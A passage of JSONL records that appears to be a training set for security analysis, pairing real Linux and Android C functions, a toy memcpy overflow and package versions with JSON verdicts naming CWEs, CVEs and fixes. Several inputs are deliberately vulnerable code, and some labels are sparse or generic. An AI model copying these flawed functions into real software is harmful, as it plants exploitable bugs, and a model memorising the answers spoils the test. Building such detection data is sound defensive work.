\"line\": 67,\n \"col\": 31\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void shmem_put_link(struct dentry *dentry, struct nameidata *nd, void *cookie)\n{\n\tif (!IS_ERR(nd_get_link(nd))) {\n\t\tstruct page *page = cookie;\n\t\tkunmap(page);\n\t\tmark_page_accessed(page);\n\t\tpage_cache_release(page);\n\t}\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void WT_VoiceGain (S_WT_VOICE *pWTVoice, S_WT_INT_FRAME *pWTIntFrame)\n{\n EAS_I32 *pMixBuffer;\n EAS_PCM *pInputBuffer;\n EAS_I32 gain;\n EAS_I32 gainIncrement;\n EAS_I32 tmp0;\n EAS_I32 tmp1;\n EAS_I32 tmp2;\n EAS_I32 numSamples;\n\n#if (NUM_OUTPUT_CHANNELS == 2)\n EAS_I32 gainLeft, gainRight;\n#endif\n\n /* initialize some local variables */\n\n numSamples = pWTIntFrame->numSamples;\n if (numSamples <= 0) {\n ALOGE(\"b/26366256\");\n return;\n }\n pMixBuffer = pWTIntFrame->pMixBuffer;\n pInputBuffer = pWTIntFrame->pAudioBuffer;\n\n /*lint -e{703} */\n gainIncrement = (pWTIntFrame->frame.gainTarget - pWTIntFrame->prevGain) << (16 - SYNTH_UPDATE_PERIOD_IN_BITS);\n if (gainIncrement < 0)\n gainIncrement++;\n /*lint -e{703} */\n gain = pWTIntFrame->prevGain << 16;\n\n#if (NUM_OUTPUT_CHANNELS == 2)\n gainLeft = pWTVoice->gainLeft;\n gainRight = pWTVoice->gainRight;\n#endif\n\n while (numSamples--) {\n\n /* incremental gain step to prevent zipper noise */\n tmp0 = *pInputBuffer++;\n gain += gainIncrement;\n /*lint -e{704} */\n tmp2 = gain >> 16;\n\n /* scale sample by gain */\n tmp2 *= tmp0;\n\n\n /* stereo output */\n#if (NUM_OUTPUT_CHANNELS == 2)\n /*lint -e{704} */\n tmp2 = tmp2 >> 14;\n\n /* get the current sample in the final mix buffer */\n tmp1 = *pMixBuffer;\n\n /* left channel */\n tmp0 = tmp2 * gainLeft;\n /*lint -e{704} */\n tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;\n tmp1 += tmp0;\n *pMixBuffer++ = tmp1;\n\n /* get the current sample in the final mix buffer */\n tmp1 = *pMixBuffer;\n\n /* right channel */\n tmp0 = tmp2 * gainRight;\n /*lint -e{704} */\n tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;\n tmp1 += tmp0;\n *pMixBuffer++ = tmp1;\n\n /* mono output */\n#else\n\n /* get the current sample in the final mix buffer */\n tmp1 = *pMixBuffer;\n /*lint -e{704} */\n tmp2 = tmp2 >> (NUM_MIXER_GUARD_BITS - 1);\n tmp1 += tmp2;\n *pMixBuffer++ = tmp1;\n#endif\n\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-0838\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:7\nManifest: distro package manager (apt/apk)\nPackage: roundcube\nInstalled version: 0.7.2-9+deb7u5\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:7\",\n \"package\": \"roundcube\",\n \"installed_version\": \"0.7.2-9+deb7u5\",\n \"note\": \"roundcube 0.7.2-9+deb7u5 is at or above the fixed version for DLA-737-1; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.20-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: scsi: mpi3mr: Use number of bits to manage bitmap sizes To allocate bitmaps, the mpi3mr driver calculates sizes of bitmaps using b...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2023-53376\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.20-1\",\n \"fixed_version\": \"6.1.20-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: scsi: mpi3mr: Use number of bits to manage bitmap sizes To allocate bitmaps, the mpi3mr driver calculates sizes of bitmaps using b...\",\n \"remediation\": \"Upgrade linux to 6.1.20-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void sctp_inet6_event_msgname(struct sctp_ulpevent *event,\n\t\t\t\t char *msgname, int *addrlen)\n{\n\tunion sctp_addr *addr;\n\tstruct sctp_association *asoc;\n\tunion sctp_addr *paddr;\n\n\tif (!msgname)\n\t\treturn;\n\n\taddr = (union sctp_addr *)msgname;\n\tasoc = event->asoc;\n\tpaddr = &asoc->peer.primary_addr;\n\n\tif (paddr->sa.sa_family == AF_INET) {\n\t\taddr->v4.sin_family = AF_INET;\n\t\taddr->v4.sin_port = htons(asoc->peer.port);\n\t\taddr->v4.sin_addr = paddr->v4.sin_addr;\n\t} else {\n\t\taddr->v6.sin6_family = AF_INET6;\n\t\taddr->v6.sin6_flowinfo = 0;\n\t\tif (ipv6_addr_type(&paddr->v6.sin6_addr) & IPV6_ADDR_LINKLOCAL)\n\t\t\taddr->v6.sin6_scope_id = paddr->v6.sin6_scope_id;\n\t\telse\n\t\t\taddr->v6.sin6_scope_id = 0;\n\t\taddr->v6.sin6_port = htons(asoc->peer.port);\n\t\taddr->v6.sin6_addr = paddr->v6.sin6_addr;\n\t}\n\n\t*addrlen = sctp_v6_addr_to_user(sctp_sk(asoc->base.sk), addr);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void *alloc_request_simple(gfp_t gfp_mask, void *data)\n{\n\tstruct request_queue *q = data;\n\n\treturn kmem_cache_alloc_node(request_cachep, gfp_mask, q->node);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @backstage/plugin-catalog-backend\nInstalled version: <3.9.1\nSummary: Backstage: Inconsistent enforcement of allowed location types during catalog processing", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pcmq-25r3-5w9v\",\n \"cve\": \"CVE-2026-106496\",\n \"aliases\": [\n \"CVE-2026-106496\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"npm\",\n \"package\": \"@backstage/plugin-catalog-backend\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <3.9.1\",\n \"fixed_version\": \"3.9.1\",\n \"finding\": \"Backstage: Inconsistent enforcement of allowed location types during catalog processing\",\n \"remediation\": \"Upgrade @backstage/plugin-catalog-backend to 3.9.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/jackc/pgx/v5\nInstalled version: 5.5.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/jackc/pgx/v5\",\n \"installed_version\": \"5.5.2\",\n \"note\": \"github.com/jackc/pgx/v5 5.5.2 is at or above the fixed version for GHSA-fqpg-rq76-99pq; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-787", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following C++ code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "void copy(const char *param, int len) {\n char buf[32];\n memcpy(buf, param, len);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-787\",\n \"cwe_name\": \"Out-of-bounds Write\",\n \"title\": \"Out-of-bounds write via unchecked memcpy\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 26\n }\n ],\n \"explanation\": \"memcpy copies an attacker-controlled length into a 32-byte buffer with no bound check.\",\n \"remediation\": \"Bounds-check all writes; copy only the number of bytes the destination can hold.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-284", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "UINT32 UIPC_Read(tUIPC_CH_ID ch_id, UINT16 *p_msg_evt, UINT8 *p_buf, UINT32 len)\n{\n int n;\n int n_read = 0;\n int fd = uipc_main.ch[ch_id].fd;\n struct pollfd pfd;\n UNUSED(p_msg_evt);\n\n if (ch_id >= UIPC_CH_NUM)\n {\n BTIF_TRACE_ERROR(\"UIPC_Read : invalid ch id %d\", ch_id);\n return 0;\n }\n\n if (fd == UIPC_DISCONNECTED)\n {\n BTIF_TRACE_ERROR(\"UIPC_Read : channel %d closed\", ch_id);\n return 0;\n }\n\n\n while (n_read < (int)len)\n {\n pfd.fd = fd;\n pfd.events = POLLIN|POLLHUP;\n\n \n /* make sure there is data prior to attempting read to avoid blocking\n a read for more than poll timeout */\n if (poll(&pfd, 1, uipc_main.ch[ch_id].read_poll_tmo_ms) == 0)\n {\n BTIF_TRACE_EVENT(\"poll timeout (%d ms)\", uipc_main.ch[ch_id].read_poll_tmo_ms);\n break;\n }\n\n\n if (pfd.revents & (POLLHUP|POLLNVAL) )\n {\n BTIF_TRACE_EVENT(\"poll : channel detached remotely\");\n UIPC_LOCK();\n uipc_close_locked(ch_id);\n UIPC_UNLOCK();\n\n return 0;\n }\n \n n = recv(fd, p_buf+n_read, len-n_read, 0);\n \n \n if (n == 0)\n {\n BTIF_TRACE_EVENT(\"UIPC_Read : channel detached remotely\");\n UIPC_LOCK();\n uipc_close_locked(ch_id);\n UIPC_UNLOCK();\n return 0;\n }\n\n if (n < 0)\n {\n BTIF_TRACE_EVENT(\"UIPC_Read : read failed (%s)\", strerror(errno));\n return 0;\n }\n\n n_read+=n;\n\n }\n\n return n_read;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"cve\": \"CVE-2016-3839\",\n \"fixed_code\": \"UINT32 UIPC_Read(tUIPC_CH_ID ch_id, UINT16 *p_msg_evt, UINT8 *p_buf, UINT32 len)\\n{\\n int n;\\n int n_read = 0;\\n int fd = uipc_main.ch[ch_id].fd;\\n struct pollfd pfd;\\n UNUSED(p_msg_evt);\\n\\n if (ch_id >= UIPC_CH_NUM)\\n {\\n BTIF_TRACE_ERROR(\\\"UIPC_Read : invalid ch id %d\\\", ch_id);\\n return 0;\\n }\\n\\n if (fd == UIPC_DISCONNECTED)\\n {\\n BTIF_TRACE_ERROR(\\\"UIPC_Read : channel %d closed\\\", ch_id);\\n return 0;\\n }\\n\\n\\n while (n_read < (int)len)\\n {\\n pfd.fd = fd;\\n pfd.events = POLLIN|POLLHUP;\\n\\n \\n /* make sure there is data prior to attempting read to avoid blocking\\n a read for more than poll timeout */\\n if (TEMP_FAILURE_RETRY(poll(&pfd, 1, uipc_main.ch[ch_id].read_poll_tmo_ms)) == 0)\\n {\\n BTIF_TRACE_EVENT(\\\"poll timeout (%d ms)\\\", uipc_main.ch[ch_id].read_poll_tmo_ms);\\n break;\\n }\\n\\n\\n if (pfd.revents & (POLLHUP|POLLNVAL) )\\n {\\n BTIF_TRACE_EVENT(\\\"poll : channel detached remotely\\\");\\n UIPC_LOCK();\\n uipc_close_locked(ch_id);\\n UIPC_UNLOCK();\\n\\n return 0;\\n }\\n \\n n = TEMP_FAILURE_RETRY(recv(fd, p_buf+n_read, len-n_read, 0));\\n \\n \\n if (n == 0)\\n {\\n BTIF_TRACE_EVENT(\\\"UIPC_Read : channel detached remotely\\\");\\n UIPC_LOCK();\\n uipc_close_locked(ch_id);\\n UIPC_UNLOCK();\\n return 0;\\n }\\n\\n if (n < 0)\\n {\\n BTIF_TRACE_EVENT(\\\"UIPC_Read : read failed (%s)\\\", strerror(errno));\\n return 0;\\n }\\n\\n n_read+=n;\\n\\n }\\n\\n return n_read;\\n}\\n\",\n \"change_summary\": \"DO NOT MERGE Fix potential DoS caused by delivering signal to BT process\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-400", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: tough-cookie\nInstalled version: <2.3.3\nSummary: Regular Expression Denial of Service in tough-cookie", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-g7q5-pjjr-gqvp\",\n \"cve\": \"CVE-2017-15010\",\n \"aliases\": [\n \"CVE-2017-15010\"\n ],\n \"cwe\": \"CWE-400\",\n \"ecosystem\": \"npm\",\n \"package\": \"tough-cookie\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <2.3.3\",\n \"fixed_version\": \"2.3.3\",\n \"finding\": \"Regular Expression Denial of Service in tough-cookie\",\n \"remediation\": \"Upgrade tough-cookie to 2.3.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: python-aiohttp\nInstalled version: <3.8.4-1+deb12u2\nSummary: AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, multiple Host headers were allowed in aiohttp. This issue has been patched in version 3.13.4.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-34525\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"python-aiohttp\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <3.8.4-1+deb12u2\",\n \"fixed_version\": \"3.8.4-1+deb12u2\",\n \"finding\": \"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, multiple Host headers were allowed in aiohttp. This issue has been patched in version 3.13.4.\",\n \"remediation\": \"Upgrade python-aiohttp to 3.8.4-1+deb12u2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static struct page *follow_pmd_mask(struct vm_area_struct *vma,\n\t\t\t\t unsigned long address, pud_t *pudp,\n\t\t\t\t unsigned int flags,\n\t\t\t\t struct follow_page_context *ctx)\n{\n\tpmd_t *pmd, pmdval;\n\tspinlock_t *ptl;\n\tstruct page *page;\n\tstruct mm_struct *mm = vma->vm_mm;\n\n\tpmd = pmd_offset(pudp, address);\n\t/*\n\t * The READ_ONCE() will stabilize the pmdval in a register or\n\t * on the stack so that it will stop changing under the code.\n\t */\n\tpmdval = READ_ONCE(*pmd);\n\tif (pmd_none(pmdval))\n\t\treturn no_page_table(vma, flags);\n\tif (pmd_huge(pmdval) && vma->vm_flags & VM_HUGETLB) {\n\t\tpage = follow_huge_pmd(mm, address, pmd, flags);\n\t\tif (page)\n\t\t\treturn page;\n\t\treturn no_page_table(vma, flags);\n\t}\n\tif (is_hugepd(__hugepd(pmd_val(pmdval)))) {\n\t\tpage = follow_huge_pd(vma, address,\n\t\t\t\t __hugepd(pmd_val(pmdval)), flags,\n\t\t\t\t PMD_SHIFT);\n\t\tif (page)\n\t\t\treturn page;\n\t\treturn no_page_table(vma, flags);\n\t}\nretry:\n\tif (!pmd_present(pmdval)) {\n\t\tif (likely(!(flags & FOLL_MIGRATION)))\n\t\t\treturn no_page_table(vma, flags);\n\t\tVM_BUG_ON(thp_migration_supported() &&\n\t\t\t\t !is_pmd_migration_entry(pmdval));\n\t\tif (is_pmd_migration_entry(pmdval))\n\t\t\tpmd_migration_entry_wait(mm, pmd);\n\t\tpmdval = READ_ONCE(*pmd);\n\t\t/*\n\t\t * MADV_DONTNEED may convert the pmd to null because\n\t\t * mmap_sem is held in read mode\n\t\t */\n\t\tif (pmd_none(pmdval))\n\t\t\treturn no_page_table(vma, flags);\n\t\tgoto retry;\n\t}\n\tif (pmd_devmap(pmdval)) {\n\t\tptl = pmd_lock(mm, pmd);\n\t\tpage = follow_devmap_pmd(vma, address, pmd, flags, &ctx->pgmap);\n\t\tspin_unlock(ptl);\n\t\tif (page)\n\t\t\treturn page;\n\t}\n\tif (likely(!pmd_trans_huge(pmdval)))\n\t\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\n\tif ((flags & FOLL_NUMA) && pmd_protnone(pmdval))\n\t\treturn no_page_table(vma, flags);\n\nretry_locked:\n\tptl = pmd_lock(mm, pmd);\n\tif (unlikely(pmd_none(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\treturn no_page_table(vma, flags);\n\t}\n\tif (unlikely(!pmd_present(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\tif (likely(!(flags & FOLL_MIGRATION)))\n\t\t\treturn no_page_table(vma, flags);\n\t\tpmd_migration_entry_wait(mm, pmd);\n\t\tgoto retry_locked;\n\t}\n\tif (unlikely(!pmd_trans_huge(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\t}\n\tif (flags & FOLL_SPLIT) {\n\t\tint ret;\n\t\tpage = pmd_page(*pmd);\n\t\tif (is_huge_zero_page(page)) {\n\t\t\tspin_unlock(ptl);\n\t\t\tret = 0;\n\t\t\tsplit_huge_pmd(vma, pmd, address);\n \t\t\tif (pmd_trans_unstable(pmd))\n \t\t\t\tret = -EBUSY;\n \t\t} else {\n\t\t\tget_page(page);\n \t\t\tspin_unlock(ptl);\n \t\t\tlock_page(page);\n \t\t\tret = split_huge_page(page);\n\t\t\tunlock_page(page);\n\t\t\tput_page(page);\n\t\t\tif (pmd_none(*pmd))\n\t\t\t\treturn no_page_table(vma, flags);\n\t\t}\n\n\t\treturn ret ? ERR_PTR(ret) :\n\t\t\tfollow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\t}\n\tpage = follow_trans_huge_pmd(vma, address, pmd, flags);\n\tspin_unlock(ptl);\n\tctx->page_mask = HPAGE_PMD_NR - 1;\n\treturn page;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-11487\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 90\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 83,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 83,\n \"col\": 5\n },\n {\n \"token\": \"is_huge_zero_page\",\n \"ast_node\": \"identifier\",\n \"line\": 83,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 83,\n \"col\": 23\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"identifier\",\n \"line\": 83,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 83,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 83,\n \"col\": 29\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 83,\n \"col\": 31\n },\n {\n \"token\": \"spin_unlock\",\n \"ast_node\": \"identifier\",\n \"line\": 84,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 84,\n \"col\": 14\n },\n {\n \"token\": \"ptl\",\n \"ast_node\": \"identifier\",\n \"line\": 84,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 84,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 84,\n \"col\": 19\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 85,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 85,\n \"col\": 7\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 85,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 85,\n \"col\": 10\n },\n {\n \"token\": \"split_huge_pmd\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 86,\n \"col\": 17\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 18\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 86,\n \"col\": 21\n },\n {\n \"token\": \"pmd\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 86,\n \"col\": 26\n },\n {\n \"token\": \"address\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 86,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 86,\n \"col\": 36\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 87,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 87,\n \"col\": 7\n },\n {\n \"token\": \"pmd_trans_unstable\",\n \"ast_node\": \"identifier\",\n \"line\": 87,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 87,\n \"col\": 26\n },\n {\n \"token\": \"pmd\",\n \"ast_node\": \"identifier\",\n \"line\": 87,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 87,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 87,\n \"col\": 31\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 88,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 88,\n \"col\": 9\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 88,\n \"col\": 11\n },\n {\n \"token\": \"EBUSY\",\n \"ast_node\": \"identifier\",\n \"line\": 88,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 88,\n \"col\": 17\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 89,\n \"col\": 3\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 89,\n \"col\": 5\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 89,\n \"col\": 10\n },\n {\n \"token\": \"get_page\",\n \"ast_node\": \"identifier\",\n \"line\": 90,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 90,\n \"col\": 11\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"identifier\",\n \"line\": 90,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 90,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 90,\n \"col\": 17\n },\n {\n \"token\": \"spin_unlock\",\n \"ast_node\": \"identifier\",\n \"line\": 91,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 91,\n \"col\": 15\n },\n {\n \"token\": \"ptl\",\n \"ast_node\": \"identifier\",\n \"line\": 91,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 91,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 91,\n \"col\": 20\n },\n {\n \"token\": \"lock_page\",\n \"ast_node\": \"identifier\",\n \"line\": 92,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 92,\n \"col\": 13\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"identifier\",\n \"line\": 92,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 92,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 92,\n \"col\": 19\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 93,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 93,\n \"col\": 8\n },\n {\n \"token\": \"split_huge_page\",\n \"ast_node\": \"identifier\",\n \"line\": 93,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 93,\n \"col\": 25\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "jas_image_t *jas_image_create(int numcmpts, jas_image_cmptparm_t *cmptparms,\n int clrspc)\n {\n \tjas_image_t *image;\n\tuint_fast32_t rawsize;\n \tuint_fast32_t inmem;\n \tint cmptno;\n \tjas_image_cmptparm_t *cmptparm;\n \n \tif (!(image = jas_image_create0())) {\n\t\treturn 0;\n \t}\n \n \timage->clrspc_ = clrspc;\n \timage->maxcmpts_ = numcmpts;\n\timage->inmem_ = true;\n////\timage->inmem_ = true;\n \n \t/* Allocate memory for the per-component information. */\n \tif (!(image->cmpts_ = 